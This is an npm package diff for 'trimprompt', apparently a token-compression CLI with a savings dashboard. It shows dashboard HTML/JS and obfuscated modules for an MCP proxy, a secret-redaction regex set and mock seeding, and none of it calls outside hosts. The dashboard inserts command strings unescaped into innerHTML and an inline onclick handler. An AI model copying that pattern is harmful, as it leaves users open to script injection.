|
|
465
|
+
<div class="card-value" id="val-reduction">0%</div>
|
|
466
|
+
<div class="card-subtext" id="val-tokens-desc">raw: 0 → compressed: 0</div>
|
|
467
|
+
</div>
|
|
468
|
+
<div class="card savings">
|
|
469
|
+
<div class="card-label">Estimated Savings</div>
|
|
470
|
+
<div class="card-value" id="val-savings">$0.0000</div>
|
|
471
|
+
<div class="card-subtext" id="val-savings-desc">based on Claude 3.5 Sonnet pricing</div>
|
|
472
|
+
</div>
|
|
473
|
+
<div class="card" style="box-shadow: 0 4px 20px rgba(239, 68, 68, 0.05); border-left: 4px solid var(--red);">
|
|
474
|
+
<div class="card-label">Original Cost</div>
|
|
475
|
+
<div class="card-value" id="val-orig-cost" style="color: var(--red);">$0.0000</div>
|
|
476
|
+
<div class="card-subtext">total cost without TrimPrompt</div>
|
|
477
|
+
</div>
|
|
478
|
+
</div>
|
|
479
|
+
|
|
480
|
+
<div class="history-section">
|
|
481
|
+
<div class="history-header">
|
|
482
|
+
<h2>Savings Analytics</h2>
|
|
483
|
+
</div>
|
|
484
|
+
<div style="position: relative; height: 260px; width: 100%;">
|
|
485
|
+
<canvas id="savingsChart"></canvas>
|
|
486
|
+
</div>
|
|
487
|
+
</div>
|
|
488
|
+
|
|
489
|
+
<div class="history-section">
|
|
490
|
+
<div class="history-header">
|
|
491
|
+
<h2>Command Execution History</h2>
|
|
492
|
+
</div>
|
|
493
|
+
<div class="table-container">
|
|
494
|
+
<table>
|
|
495
|
+
<thead>
|
|
496
|
+
<tr>
|
|
497
|
+
<th>Timestamp</th>
|
|
498
|
+
<th>Command</th>
|
|
499
|
+
<th>Raw Tokens</th>
|
|
500
|
+
<th>Compressed</th>
|
|
501
|
+
<th>Savings</th>
|
|
502
|
+
<th>Exit Code</th>
|
|
503
|
+
<th>Action</th>
|
|
504
|
+
</tr>
|
|
505
|
+
</thead>
|
|
506
|
+
<tbody id="history-table-body">
|
|
507
|
+
<tr>
|
|
508
|
+
<td colspan="7" style="text-align: center; color: var(--text-muted);">Loading logs...</td>
|
|
509
|
+
</tr>
|
|
510
|
+
</tbody>
|
|
511
|
+
</table>
|
|
512
|
+
</div>
|
|
513
|
+
</div>
|
|
514
|
+
</main>
|
|
515
|
+
|
|
516
|
+
<!-- Side-by-Side Diff Modal -->
|
|
517
|
+
<div class="modal-overlay" id="diff-modal">
|
|
518
|
+
<div class="modal-container">
|
|
519
|
+
<div class="modal-header">
|
|
520
|
+
<h3 id="modal-command-title">Command Inspector</h3>
|
|
521
|
+
<button class="btn-close" onclick="closeModal()">×</button>
|
|
522
|
+
</div>
|
|
523
|
+
<div class="diff-views">
|
|
524
|
+
<div class="diff-column">
|
|
525
|
+
<div class="diff-title">Raw Command Output</div>
|
|
526
|
+
<div class="diff-code" id="diff-raw">...</div>
|
|
527
|
+
</div>
|
|
528
|
+
<div class="diff-column">
|
|
529
|
+
<div class="diff-title">TrimPrompt.ai Output</div>
|
|
530
|
+
<div class="diff-code" id="diff-comp">...</div>
|
|
531
|
+
</div>
|
|
532
|
+
</div>
|
|
533
|
+
</div>
|
|
534
|
+
</div>
|
|
535
|
+
|
|
536
|
+
<script>
|
|
537
|
+
let savingsChart = null;
|
|
538
|
+
|
|
539
|
+
const PRICING_TABLE = {
|
|
540
|
+
"claude-fable-5": 10.00,
|
|
541
|
+
"claude-mythos-5": 10.00,
|
|
542
|
+
"claude-opus-4-8": 5.00,
|
|
543
|
+
"claude-opus-4-7": 5.00,
|
|
544
|
+
"claude-opus-4-5": 5.00,
|
|
545
|
+
"claude-opus-4-1": 15.00,
|
|
546
|
+
"claude-sonnet-4-6": 3.00,
|
|
547
|
+
"claude-sonnet-4-5": 3.00,
|
|
548
|
+
"claude-3-5-sonnet": 3.00,
|
|
549
|
+
"claude-haiku-4-5": 1.00,
|
|
550
|
+
"claude-haiku-3-5": 0.80,
|
|
551
|
+
"gpt-5-5": 5.00,
|
|
552
|
+
"gpt-5-4": 2.50,
|
|
553
|
+
"gpt-4o": 2.50,
|
|
554
|
+
"gpt-5-4-mini": 0.75,
|
|
555
|
+
"gpt-5-4-nano": 0.20,
|
|
556
|
+
"gpt-4-1-mini": 0.40,
|
|
557
|
+
"gpt-4-1-nano": 0.10,
|
|
558
|
+
"gpt-4o-mini": 0.15,
|
|
559
|
+
"o1": 15.00,
|
|
560
|
+
"o1-mini": 3.00,
|
|
561
|
+
"o3-mini": 1.10,
|
|
562
|
+
"cursor-small": 0.10,
|
|
563
|
+
"gemini-3-1-pro": 2.00,
|
|
564
|
+
"gemini-3-5-flash": 1.50,
|
|
565
|
+
"gemini-3-1-flash-lite": 0.45,
|
|
566
|
+
"gemini-3-5-live-translate": 3.50
|
|
567
|
+
};
|
|
568
|
+
|
|
569
|
+
function renderChart(logs, modelKey) {
|
|
570
|
+
const sortedLogs = [...logs].sort((a, b) => new Date(a.timestamp) - new Date(b.timestamp));
|
|
571
|
+
|
|
572
|
+
const labels = [];
|
|
573
|
+
const originalCostData = [];
|
|
574
|
+
const shavedCostData = [];
|
|
575
|
+
const savingsUSDData = [];
|
|
576
|
+
|
|
577
|
+
let cumRawCost = 0;
|
|
578
|
+
let cumCompCost = 0;
|
|
579
|
+
let cumSavings = 0;
|
|
580
|
+
|
|
581
|
+
const pricePerMillion = PRICING_TABLE[modelKey] || 3.00;
|
|
582
|
+
|
|
583
|
+
sortedLogs.forEach((log, index) => {
|
|
584
|
+
const timeLabel = new Date(log.timestamp).toLocaleTimeString([], { hour: '2-digit', minute: '2-digit', second: '2-digit' });
|
|
585
|
+
labels.push(`${timeLabel} (#${index + 1})`);
|
|
586
|
+
|
|
587
|
+
const rawCost = (log.estimated_raw_tokens * pricePerMillion) / 1000000;
|
|
588
|
+
const compCost = (log.estimated_compressed_tokens * pricePerMillion) / 1000000;
|
|
589
|
+
const savedCost = (log.tokens_saved * pricePerMillion) / 1000000;
|
|
590
|
+
|
|
591
|
+
cumRawCost += rawCost;
|
|
592
|
+
cumCompCost += compCost;
|
|
593
|
+
cumSavings += savedCost;
|
|
594
|
+
|
|
595
|
+
originalCostData.push(parseFloat(cumRawCost.toFixed(4)));
|
|
596
|
+
shavedCostData.push(parseFloat(cumCompCost.toFixed(4)));
|
|
597
|
+
savingsUSDData.push(parseFloat(cumSavings.toFixed(4)));
|
|
598
|
+
});
|
|
599
|
+
|
|
600
|
+
const chartCanvas = document.getElementById('savingsChart');
|
|
601
|
+
if (!chartCanvas) return;
|
|
602
|
+
|
|
603
|
+
if (savingsChart) {
|
|
604
|
+
savingsChart.destroy();
|
|
605
|
+
}
|
|
606
|
+
|
|
607
|
+
savingsChart = new Chart(chartCanvas, {
|
|
608
|
+
type: 'line',
|
|
609
|
+
data: {
|
|
610
|
+
labels: labels.length > 0 ? labels : ['No Data'],
|
|
611
|
+
datasets: [
|
|
612
|
+
{
|
|
613
|
+
label: 'Original LLM Cost ($)',
|
|
614
|
+
data: originalCostData.length > 0 ? originalCostData : [0],
|
|
615
|
+
borderColor: '#EF4444',
|
|
616
|
+
backgroundColor: 'rgba(239, 68, 68, 0.1)',
|
|
617
|
+
fill: false,
|
|
618
|
+
tension: 0.3,
|
|
619
|
+
borderWidth: 2
|
|
620
|
+
},
|
|
621
|
+
{
|
|
622
|
+
label: 'Actual Shaved Cost ($)',
|
|
623
|
+
data: shavedCostData.length > 0 ? shavedCostData : [0],
|
|
624
|
+
borderColor: '#3B82F6',
|
|
625
|
+
backgroundColor: 'rgba(59, 130, 246, 0.1)',
|
|
626
|
+
fill: false,
|
|
627
|
+
tension: 0.3,
|
|
628
|
+
borderWidth: 2
|
|
629
|
+
},
|
|
630
|
+
{
|
|
631
|
+
label: 'Cumulative Savings ($)',
|
|
632
|
+
data: savingsUSDData.length > 0 ? savingsUSDData : [0],
|
|
633
|
+
borderColor: '#10B981',
|
|
634
|
+
backgroundColor: 'rgba(16, 185, 129, 0.1)',
|
|
635
|
+
fill: true,
|
|
636
|
+
tension: 0.3,
|
|
637
|
+
borderWidth: 3
|
|
638
|
+
}
|
|
639
|
+
]
|
|
640
|
+
},
|
|
641
|
+
options: {
|
|
642
|
+
responsive: true,
|
|
643
|
+
maintainAspectRatio: false,
|
|
644
|
+
plugins: {
|
|
645
|
+
legend: {
|
|
646
|
+
labels: {
|
|
647
|
+
color: '#94A3B8',
|
|
648
|
+
font: { family: 'Inter', size: 11 }
|
|
649
|
+
}
|
|
650
|
+
}
|
|
651
|
+
},
|
|
652
|
+
scales: {
|
|
653
|
+
x: {
|
|
654
|
+
grid: { color: 'rgba(255, 255, 255, 0.05)' },
|
|
655
|
+
ticks: { color: '#94A3B8', font: { size: 10 } }
|
|
656
|
+
},
|
|
657
|
+
y: {
|
|
658
|
+
grid: { color: 'rgba(255, 255, 255, 0.05)' },
|
|
659
|
+
ticks: { color: '#94A3B8', font: { size: 10 } }
|
|
660
|
+
}
|
|
661
|
+
}
|
|
662
|
+
}
|
|
663
|
+
});
|
|
664
|
+
}
|
|
665
|
+
|
|
666
|
+
function onModelChange() {
|
|
667
|
+
loadStats();
|
|
668
|
+
loadHistory();
|
|
669
|
+
}
|
|
670
|
+
|
|
671
|
+
async function loadStats() {
|
|
672
|
+
const select = document.getElementById('model-select');
|
|
673
|
+
const model = select.value;
|
|
674
|
+
|
|
675
|
+
try {
|
|
676
|
+
const response = await fetch(`/api/stats/summary?model=${model}`);
|
|
677
|
+
const data = await response.json();
|
|
678
|
+
|
|
679
|
+
// Populate metrics cards
|
|
680
|
+
document.getElementById('val-savings').innerText = `$${data.money_saved_usd.toFixed(4)}`;
|
|
681
|
+
document.getElementById('val-savings-desc').innerText = `based on ${data.model_name} pricing${model === 'auto' ? ' (Auto-Detected)' : ''}`;
|
|
682
|
+
document.getElementById('val-orig-cost').innerText = `$${data.raw_cost_usd.toFixed(4)}`;
|
|
683
|
+
document.getElementById('val-comp-cost').innerText = `$${data.compressed_cost_usd.toFixed(4)}`;
|
|
684
|
+
document.getElementById('val-reduction').innerText = `${data.savings_percentage}%`;
|
|
685
|
+
document.getElementById('val-tokens-desc').innerText = `raw: ${data.total_raw_tokens.toLocaleString()} → compressed: ${data.total_compressed_tokens.toLocaleString()}`;
|
|
686
|
+
return data;
|
|
687
|
+
} catch (err) {
|
|
688
|
+
console.error('Failed to fetch summary stats', err);
|
|
689
|
+
}
|
|
690
|
+
}
|
|
691
|
+
|
|
692
|
+
async function loadHistory() {
|
|
693
|
+
const select = document.getElementById('model-select');
|
|
694
|
+
const model = select.value;
|
|
695
|
+
|
|
696
|
+
try {
|
|
697
|
+
const response = await fetch('/api/stats/history');
|
|
698
|
+
const logs = await response.json();
|
|
699
|
+
|
|
700
|
+
let resolvedModel = model;
|
|
701
|
+
if (model === 'auto') {
|
|
702
|
+
const stats = await loadStats();
|
|
703
|
+
if (stats && stats.model_key) {
|
|
704
|
+
resolvedModel = stats.model_key;
|
|
705
|
+
}
|
|
706
|
+
}
|
|
707
|
+
|
|
708
|
+
// Render Chart.js analytics
|
|
709
|
+
renderChart(logs, resolvedModel);
|
|
710
|
+
|
|
711
|
+
const tbody = document.getElementById('history-table-body');
|
|
712
|
+
if (logs.length === 0) {
|
|
713
|
+
tbody.innerHTML = `<tr><td colspan="7" style="text-align: center; color: var(--text-muted);">No logs recorded yet. Run commands with TrimPrompt to see stats!</td></tr>`;
|
|
714
|
+
return;
|
|
715
|
+
}
|
|
716
|
+
|
|
717
|
+
tbody.innerHTML = '';
|
|
718
|
+
logs.reverse().forEach(log => {
|
|
719
|
+
const tr = document.createElement('tr');
|
|
720
|
+
const time = new Date(log.timestamp).toLocaleTimeString();
|
|
721
|
+
|
|
722
|
+
const savingsPct = log.raw_chars > 0
|
|
723
|
+
? ((log.estimated_raw_tokens - log.estimated_compressed_tokens) / log.estimated_raw_tokens * 100).toFixed(1)
|
|
724
|
+
: '0.0';
|
|
725
|
+
|
|
726
|
+
tr.innerHTML = `
|
|
727
|
+
<td>${time}</td>
|
|
728
|
+
<td style="font-weight: 500;">${log.command}</td>
|
|
729
|
+
<td>${log.estimated_raw_tokens.toLocaleString()}</td>
|
|
730
|
+
<td>${log.estimated_compressed_tokens.toLocaleString()}</td>
|
|
731
|
+
<td style="color: var(--emerald); font-weight: 600;">${savingsPct}%</td>
|
|
732
|
+
<td>
|
|
733
|
+
<span class="status-badge ${log.exit_code === 0 ? 'success' : 'fail'}">
|
|
734
|
+
${log.exit_code}
|
|
735
|
+
</span>
|
|
736
|
+
</td>
|
|
737
|
+
<td>
|
|
738
|
+
<button class="btn-inspect" onclick="inspectDiff('${log.id}', '${log.command}')">Inspect</button>
|
|
739
|
+
</td>
|
|
740
|
+
`;
|
|
741
|
+
tbody.appendChild(tr);
|
|
742
|
+
});
|
|
743
|
+
} catch (err) {
|
|
744
|
+
console.error('Failed to fetch history logs', err);
|
|
745
|
+
}
|
|
746
|
+
}
|
|
747
|
+
|
|
748
|
+
async function inspectDiff(id, command) {
|
|
749
|
+
try {
|
|
750
|
+
document.getElementById('modal-command-title').innerText = `Inspector: trim ${command}`;
|
|
751
|
+
document.getElementById('diff-raw').innerText = 'Loading raw text...';
|
|
752
|
+
document.getElementById('diff-comp').innerText = 'Loading compressed text...';
|
|
753
|
+
document.getElementById('diff-modal').style.display = 'flex';
|
|
754
|
+
|
|
755
|
+
const response = await fetch(`/api/stats/inspect/${id}`);
|
|
756
|
+
const data = await response.json();
|
|
757
|
+
|
|
758
|
+
document.getElementById('diff-raw').innerText = data.raw;
|
|
759
|
+
document.getElementById('diff-comp').innerText = data.compressed;
|
|
760
|
+
} catch (err) {
|
|
761
|
+
console.error('Failed to load diff logs', err);
|
|
762
|
+
}
|
|
763
|
+
}
|
|
764
|
+
|
|
765
|
+
function closeModal() {
|
|
766
|
+
document.getElementById('diff-modal').style.display = 'none';
|
|
767
|
+
}
|
|
768
|
+
|
|
769
|
+
// Initial load
|
|
770
|
+
loadStats();
|
|
771
|
+
loadHistory();
|
|
772
|
+
// Poll updates every 5 seconds
|
|
773
|
+
setInterval(() => {
|
|
774
|
+
loadStats();
|
|
775
|
+
loadHistory();
|
|
776
|
+
}, 5000);
|
|
777
|
+
</script>
|
|
778
|
+
</body>
|
|
779
|
+
</html>
|
package/mcp.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x328324=a0_0x4c26;(function(_0x5ac246,_0x3b239d){const _0xf16991=a0_0x4c26,_0x165b49=_0x5ac246();while(!![]){try{const _0x5b212b=-parseInt(_0xf16991(0xb3))/0x1*(-parseInt(_0xf16991(0xa0))/0x2)+parseInt(_0xf16991(0x8e))/0x3+parseInt(_0xf16991(0x9c))/0x4+parseInt(_0xf16991(0x87))/0x5+parseInt(_0xf16991(0x89))/0x6*(-parseInt(_0xf16991(0x97))/0x7)+parseInt(_0xf16991(0xb0))/0x8*(parseInt(_0xf16991(0x84))/0x9)+parseInt(_0xf16991(0xb2))/0xa*(-parseInt(_0xf16991(0x99))/0xb);if(_0x5b212b===_0x3b239d)break;else _0x165b49['push'](_0x165b49['shift']());}catch(_0x93168b){_0x165b49['push'](_0x165b49['shift']());}}}(a0_0x5b29,0x8be25));var __createBinding=this&&this[a0_0x328324(0xa8)]||(Object[a0_0x328324(0xaf)]?function(_0x5aef91,_0x561039,_0x429ef1,_0x49e6ab){const _0x4a09ea=a0_0x328324;if(_0x49e6ab===undefined)_0x49e6ab=_0x429ef1;var _0x124d96=Object[_0x4a09ea(0xb1)](_0x561039,_0x429ef1);(!_0x124d96||(_0x4a09ea(0xac)in _0x124d96?!_0x561039[_0x4a09ea(0xa3)]:_0x124d96[_0x4a09ea(0x8f)]||_0x124d96[_0x4a09ea(0x93)]))&&(_0x124d96={'enumerable':!![],'get':function(){return _0x561039[_0x429ef1];}}),Object[_0x4a09ea(0x80)](_0x5aef91,_0x49e6ab,_0x124d96);}:function(_0x38a410,_0x2ea60e,_0x1901e3,_0x22e7b3){if(_0x22e7b3===undefined)_0x22e7b3=_0x1901e3;_0x38a410[_0x22e7b3]=_0x2ea60e[_0x1901e3];}),__setModuleDefault=this&&this[a0_0x328324(0x8b)]||(Object[a0_0x328324(0xaf)]?function(_0x18b52b,_0x544931){const _0x19fc23=a0_0x328324;Object['defineProperty'](_0x18b52b,_0x19fc23(0x88),{'enumerable':!![],'value':_0x544931});}:function(_0x5bfbbf,_0x21cda8){const _0x3c84dc=a0_0x328324;_0x5bfbbf[_0x3c84dc(0x88)]=_0x21cda8;}),__importStar=this&&this[a0_0x328324(0x92)]||(function(){var _0x438752=function(_0x33b4d1){const _0x19c5ae=a0_0x4c26;return _0x438752=Object[_0x19c5ae(0x83)]||function(_0x5bd441){const _0x51c959=_0x19c5ae;var _0x4ef9e4=[];for(var _0x3adb6d in _0x5bd441)if(Object['prototype'][_0x51c959(0xa6)][_0x51c959(0x95)](_0x5bd441,_0x3adb6d))_0x4ef9e4[_0x4ef9e4[_0x51c959(0xb4)]]=_0x3adb6d;return _0x4ef9e4;},_0x438752(_0x33b4d1);};return function(_0x5ab3de){const _0x4032ce=a0_0x4c26;if(_0x5ab3de&&_0x5ab3de[_0x4032ce(0xa3)])return _0x5ab3de;var _0x50ad7d={};if(_0x5ab3de!=null){for(var _0x542a2a=_0x438752(_0x5ab3de),_0x4393b8=0x0;_0x4393b8<_0x542a2a['length'];_0x4393b8++)if(_0x542a2a[_0x4393b8]!=='default')__createBinding(_0x50ad7d,_0x5ab3de,_0x542a2a[_0x4393b8]);}return __setModuleDefault(_0x50ad7d,_0x5ab3de),_0x50ad7d;};}());function a0_0x4c26(_0x21fc77,_0x20e186){_0x21fc77=_0x21fc77-0x80;const _0x5b2917=a0_0x5b29();let _0x4c268c=_0x5b2917[_0x21fc77];return _0x4c268c;}Object['defineProperty'](exports,a0_0x328324(0xa3),{'value':!![]}),exports[a0_0x328324(0x86)]=runMcpProxy;const child_process_1=require(a0_0x328324(0xad)),readline=__importStar(require('readline')),filters_1=require(a0_0x328324(0xa2)),tracker_1=require(a0_0x328324(0x85));function a0_0x5b29(){const _0x9111d3=['redaction_enabled','text','pipe','2ZWQbsN','trim','./filters','__esModule','result','2.0','hasOwnProperty','logExecution','__createBinding','spawn','exit','content','get','child_process','inherit','create','82816DJiEqV','getOwnPropertyDescriptor','6183850yjgGCs','65419ugGpmy','length','parse','defineProperty','jsonrpc','error','getOwnPropertyNames','450UoHFYp','./tracker','runMcpProxy','2896990SmlDCc','default','222jHDggA','tracker','__setModuleDefault','stdin','string','535332gptiWo','writable','stdout','line','__importStar','configurable','close','call','message','71078bVNkYj','mcp\x20tool\x20(id:\x20','22LRrUKs','write','mcp-tool-call','3378288ZATGaF'];a0_0x5b29=function(){return _0x9111d3;};return a0_0x5b29();}function runMcpProxy(_0x20d120,_0x1131b6){const _0x357c1d=a0_0x328324,_0x320cdb=(0x0,child_process_1[_0x357c1d(0xa9)])(_0x20d120,_0x1131b6,{'stdio':[_0x357c1d(0x9f),'pipe',_0x357c1d(0xae)]});process[_0x357c1d(0x8c)][_0x357c1d(0x9f)](_0x320cdb[_0x357c1d(0x8c)]);const _0x3f6897=readline['createInterface']({'input':_0x320cdb[_0x357c1d(0x90)],'terminal':![]});_0x3f6897['on'](_0x357c1d(0x91),_0x2473f7=>{const _0x5d7fed=_0x357c1d;try{const _0x1af69e=JSON[_0x5d7fed(0xb5)](_0x2473f7);if(_0x1af69e&&_0x1af69e[_0x5d7fed(0x81)]===_0x5d7fed(0xa5)&&_0x1af69e['id']!==undefined&&_0x1af69e[_0x5d7fed(0xa4)]&&Array['isArray'](_0x1af69e[_0x5d7fed(0xa4)]['content'])){let _0x4d4f23=![];for(const _0x4fc87c of _0x1af69e['result'][_0x5d7fed(0xab)]){if(_0x4fc87c['type']===_0x5d7fed(0x9e)&&typeof _0x4fc87c[_0x5d7fed(0x9e)]===_0x5d7fed(0x8d)&&_0x4fc87c['text'][_0x5d7fed(0xa1)]()[_0x5d7fed(0xb4)]>0x0){const _0x2c23fc=_0x4fc87c[_0x5d7fed(0x9e)],_0x1a8ebf=(0x0,filters_1['compressOutput'])(_0x5d7fed(0x9b),_0x2c23fc,'',tracker_1[_0x5d7fed(0x8a)]['getConfig']()[_0x5d7fed(0x9d)]);tracker_1[_0x5d7fed(0x8a)][_0x5d7fed(0xa7)](_0x5d7fed(0x98)+_0x1af69e['id']+')',_0x2c23fc,_0x1a8ebf,0x0),_0x4fc87c['text']=_0x1a8ebf,_0x4d4f23=!![];}}_0x4d4f23?process['stdout'][_0x5d7fed(0x9a)](JSON['stringify'](_0x1af69e)+'\x0a'):process[_0x5d7fed(0x90)][_0x5d7fed(0x9a)](_0x2473f7+'\x0a');}else process[_0x5d7fed(0x90)][_0x5d7fed(0x9a)](_0x2473f7+'\x0a');}catch{process[_0x5d7fed(0x90)][_0x5d7fed(0x9a)](_0x2473f7+'\x0a');}}),_0x320cdb['on'](_0x357c1d(0x94),_0xf8f03d=>{const _0x2fa816=_0x357c1d;process[_0x2fa816(0xaa)](_0xf8f03d||0x0);}),_0x320cdb['on'](_0x357c1d(0x82),_0x337213=>{const _0x29f320=_0x357c1d;console[_0x29f320(0x82)]('[TrimPrompt]\x20MCP\x20Server\x20Spawn\x20Error:\x20'+_0x337213[_0x29f320(0x96)]),process[_0x29f320(0xaa)](0x1);});}
|
package/package.json
ADDED
|
@@ -0,0 +1,18 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "trimprompt",
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "TrimPrompt.ai Client CLI & Local Developer Dashboard",
|
|
5
|
+
"main": "cli.js",
|
|
6
|
+
"bin": {
|
|
7
|
+
"trim": "cli.js"
|
|
8
|
+
},
|
|
9
|
+
"dependencies": {
|
|
10
|
+
"commander": "^11.1.0",
|
|
11
|
+
"express": "^4.18.2",
|
|
12
|
+
"open": "^8.4.2"
|
|
13
|
+
},
|
|
14
|
+
"engines": {
|
|
15
|
+
"node": ">=18.0.0"
|
|
16
|
+
},
|
|
17
|
+
"license": "MIT"
|
|
18
|
+
}
|
package/redactor.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';function a0_0x2562(){const _0x60970c=['30YePDRz','[REDACTED_EMAIL]','$1:\x20[REDACTED_CREDENTIAL]','regex','2078791fNxNNQ','loadDefaultRules','[REDACTED_DB_CONNECTION_STRING]','Email\x20Address','IPv4\x20Address','234WZzVMB','1634868hiMlUo','replace','1061202xuXYdx','2047CjQFLx','261108scfvsM','[REDACTED_IP]','48SVMVpd','Database\x20Connection\x20String','104GxPiiS','52rbjqDK','API\x20Key\x20or\x20Password','67575gQDbEw','rules','2575005XivneZ','redact','redactor','14wGBGsK','Redactor','__esModule'];a0_0x2562=function(){return _0x60970c;};return a0_0x2562();}const a0_0x34c083=a0_0x5626;(function(_0x4c0454,_0x4c6815){const _0x30bc7c=a0_0x5626,_0xabbfd6=_0x4c0454();while(!![]){try{const _0x2213f0=-parseInt(_0x30bc7c(0x15c))/0x1*(-parseInt(_0x30bc7c(0x158))/0x2)+-parseInt(_0x30bc7c(0x147))/0x3*(-parseInt(_0x30bc7c(0x162))/0x4)+-parseInt(_0x30bc7c(0x149))/0x5+parseInt(_0x30bc7c(0x15b))/0x6*(-parseInt(_0x30bc7c(0x14c))/0x7)+-parseInt(_0x30bc7c(0x15f))/0x8*(-parseInt(_0x30bc7c(0x15d))/0x9)+-parseInt(_0x30bc7c(0x14f))/0xa*(parseInt(_0x30bc7c(0x153))/0xb)+parseInt(_0x30bc7c(0x159))/0xc*(parseInt(_0x30bc7c(0x161))/0xd);if(_0x2213f0===_0x4c6815)break;else _0xabbfd6['push'](_0xabbfd6['shift']());}catch(_0x13e44f){_0xabbfd6['push'](_0xabbfd6['shift']());}}}(a0_0x2562,0x580b6));Object['defineProperty'](exports,a0_0x34c083(0x14e),{'value':!![]}),exports[a0_0x34c083(0x14b)]=exports[a0_0x34c083(0x14d)]=void 0x0;class Redactor{[a0_0x34c083(0x148)]=[];constructor(){const _0x521d19=a0_0x34c083;this[_0x521d19(0x154)]();}['loadDefaultRules'](){const _0x3df798=a0_0x34c083;this[_0x3df798(0x148)]=[{'name':_0x3df798(0x160),'regex':/(mongodb|postgres|postgresql|mysql|redis|sqlite):\/\/[a-zA-Z0-9_]+:[^@\s\n]+@[^\s\n]+/gi,'replacement':_0x3df798(0x155)},{'name':_0x3df798(0x146),'regex':/(api[_-]?key|secret|password|passwd|auth|token|private[_-]?key)[\s:=]+[a-zA-Z0-9_-]{16,}/gi,'replacement':_0x3df798(0x151)},{'name':_0x3df798(0x157),'regex':/\b(?!127\.0\.0\.1|255\.255\.255\.0)(?:[0-9]{1,3}\.){3}[0-9]{1,3}\b/g,'replacement':_0x3df798(0x15e)},{'name':_0x3df798(0x156),'regex':/\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,'replacement':_0x3df798(0x150)}];}[a0_0x34c083(0x14a)](_0xb73197){const _0x2de443=a0_0x34c083;let _0x149a39=_0xb73197;for(const _0x4d6fd9 of this['rules']){_0x149a39=_0x149a39[_0x2de443(0x15a)](_0x4d6fd9[_0x2de443(0x152)],_0x4d6fd9['replacement']);}return _0x149a39;}}function a0_0x5626(_0x3d25ae,_0x19a8cb){_0x3d25ae=_0x3d25ae-0x146;const _0x25627d=a0_0x2562();let _0x56267c=_0x25627d[_0x3d25ae];return _0x56267c;}exports[a0_0x34c083(0x14d)]=Redactor,exports['redactor']=new Redactor();
|
package/seed.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
'use strict';const a0_0x331bcd=a0_0x1890;function a0_0x1890(_0xb0e3b8,_0x2c978e){_0xb0e3b8=_0xb0e3b8-0x124;const _0x5465a0=a0_0x5465();let _0x18906d=_0x5465a0[_0xb0e3b8];return _0x18906d;}(function(_0x5d53c3,_0x39b47f){const _0x1ce809=a0_0x1890,_0x312201=_0x5d53c3();while(!![]){try{const _0x1f4b94=-parseInt(_0x1ce809(0x12e))/0x1*(parseInt(_0x1ce809(0x142))/0x2)+-parseInt(_0x1ce809(0x125))/0x3+parseInt(_0x1ce809(0x12d))/0x4*(parseInt(_0x1ce809(0x130))/0x5)+parseInt(_0x1ce809(0x12c))/0x6*(parseInt(_0x1ce809(0x126))/0x7)+-parseInt(_0x1ce809(0x13c))/0x8*(parseInt(_0x1ce809(0x146))/0x9)+-parseInt(_0x1ce809(0x135))/0xa*(parseInt(_0x1ce809(0x137))/0xb)+parseInt(_0x1ce809(0x13a))/0xc;if(_0x1f4b94===_0x39b47f)break;else _0x312201['push'](_0x312201['shift']());}catch(_0x59f00a){_0x312201['push'](_0x312201['shift']());}}}(a0_0x5465,0xe0885));function a0_0x5465(){const _0x51db8a=['[SUCCESS]\x20Compiled\x20512\x20modules.\x0a','360820lTDVQi','docker\x20build\x20.','484JIpNpd','gemini-1-5-pro','defineProperty','35726952xxtKaE','__esModule','32QmywuA','claude-3-opus','Optimizing\x20assets...\x0a','Database\x20successfully\x20seeded!','repeat','[INFO]\x20Building\x20modules...\x0a','446hzGhOF','test_db.py\x20PASS\x0a','test_auth.py\x20PASS\x0a','log','2012994TUvLpc','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','Step\x201/10\x20:\x20FROM\x20node:20\x0a','test_api.py\x20PASS\x0a','Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','1617165AbaYPM','7vupbol','Successfully\x20built\x20image.','gpt-4o','Test\x20suite\x20run\x20starting...\x0a','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','tracker','7488258rdBcGl','4KJXORn','4314QqAdoq','./tracker','3388725gKATuv','npm\x20run\x20build','logExecution','Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'];a0_0x5465=function(){return _0x51db8a;};return a0_0x5465();}Object[a0_0x331bcd(0x139)](exports,a0_0x331bcd(0x13b),{'value':!![]});const tracker_1=require(a0_0x331bcd(0x12f));console['log'](a0_0x331bcd(0x124)),process.env.TRIMPROMPT_MODEL=a0_0x331bcd(0x13d),tracker_1[a0_0x331bcd(0x12b)]['logExecution'](a0_0x331bcd(0x131),'Compilation\x20Output:\x0a'+a0_0x331bcd(0x141)+a0_0x331bcd(0x13e)+a0_0x331bcd(0x134)[a0_0x331bcd(0x140)](0x190),a0_0x331bcd(0x12a),0x0),process.env.TRIMPROMPT_MODEL=a0_0x331bcd(0x128),tracker_1[a0_0x331bcd(0x12b)]['logExecution']('pytest\x20tests/app',a0_0x331bcd(0x129)+a0_0x331bcd(0x144)+a0_0x331bcd(0x143)+a0_0x331bcd(0x149)['repeat'](0x12c)+'All\x20303\x20tests\x20passed\x20in\x204.22s.',a0_0x331bcd(0x147),0x0),process.env.TRIMPROMPT_MODEL=a0_0x331bcd(0x138),tracker_1[a0_0x331bcd(0x12b)][a0_0x331bcd(0x132)](a0_0x331bcd(0x136),a0_0x331bcd(0x14a)+a0_0x331bcd(0x148)+'Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a'+a0_0x331bcd(0x133)+'added\x201420\x20packages\x20in\x2014s\x0a'[a0_0x331bcd(0x140)](0x3)+a0_0x331bcd(0x127),'docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.',0x0),console[a0_0x331bcd(0x145)](a0_0x331bcd(0x13f));
|
package/shims.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
